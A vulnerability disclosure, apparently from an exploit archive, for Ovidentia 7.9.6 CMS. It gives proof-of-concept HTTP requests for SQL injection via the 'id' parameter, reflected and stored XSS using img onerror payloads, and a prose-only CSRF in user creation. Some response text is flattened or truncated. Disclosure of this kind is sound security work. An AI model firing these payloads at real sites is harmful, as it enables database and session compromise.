    ###########################################################
    [~] Exploit Title: Ovidentia 7.9.6 Multiple Vulnerabilities
    [~] Author: sajith
    [~] version: Ovidentia 7.9.6
    [~]Vendor Homepage: http://www.ovidentia.org/
    [~] vulnerable app link:http://www.ovidentia.org/telecharger
    ###########################################################

    [1]SQL injection vulnerability

    Log into admin panel and access delegate functionality > managing
     administrators where &id parameter (shown below link) is vulnerable to sql
    injection

    http://127.0.0.1/cms/ovidentia-7-9-6/index.php?tg=delegat&idx=mem&id=1

    POC by sajith shetty:

    request:

    GET /cms/ovidentia-7-9-6/index.php?tg=delegat&idx=mem&id=1%27 HTTP/1.1
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101
    Firefox/14.0.1
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-us,en;q=0.5
    Accept-Encoding: gzip, deflate
    Proxy-Connection: keep-alive
    Cookie: OV146706993=62t0i0e1mc2r0r4elhdm967h95; bab_Tree.myTreeView=

    response:

    style="cursor: pointer"
    onclick="s=document.getElementById('babParam_1_5_0');
    s.style.display=='none'?s.style.display='':s.style.display='none'">[+]
[C:\xampp\htdocs\cms\ovidentia-7-9-6\ovidentia\index.php]
) called at [C:\xampp\htdocs\cms\ovidentia-7-9-6\index.php:25]

## Can't execute query :

    select * from bab_dg_admin where id_dg=1'

Database Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

This script cannot continue, terminating. [2]CSRF vulnerability log into the admin portal and access the create user functionality http://127.0.0.1/cms/ovidentia-7-9-6/index.php?tg=users&idx=Create&pos=A&grp= using csrf vulnerability it was possible to add new user.
[3]Reflected XSS http://127.0.0.1/cms/ovidentia-7-9-6/index.php/foo"> request: GET /cms/ovidentia-7-9-6/index.php/foo%22%3E%3Cimg%20src=x%20onerror=prompt(1);%3E HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101 Firefox/14.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive Cookie: OV146706993=62t0i0e1mc2r0r4elhdm967h95 response:

" title="Home"> [4]Stored xss log into the admin portal and access mail functionlity and create new domain using link below http://127.0.0.1/cms/ovidentia-7-9-6/index.php?tg=maildoms&idx=create&userid=0&bgrp=y here Name & Description field is vulnerable to stored XSS .payload:"> request: POST /cms/ovidentia-7-9-6/index.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101 Firefox/14.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive Referer: http://127.0.0.1/cms/ovidentia-7-9-6/index.php?tg=maildoms&idx=create&userid=0&bgrp=y Cookie: OV146706993=62t0i0e1mc2r0r4elhdm967h95 Content-Type: application/x-www-form-urlencoded Content-Length: 301 tg=maildoms&idx=list&userid=0&bgrp=y&adddom=add&dname=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%28111%29%3B%3E&description=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%28222%29%3B%3E&accessmethod=pop3&inmailserver=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%28333%29%3B%3E&inportserver=110&submit=Dom%E4ne+hinzuf%FCgen response: Registrierte User
"> "> Registrierte User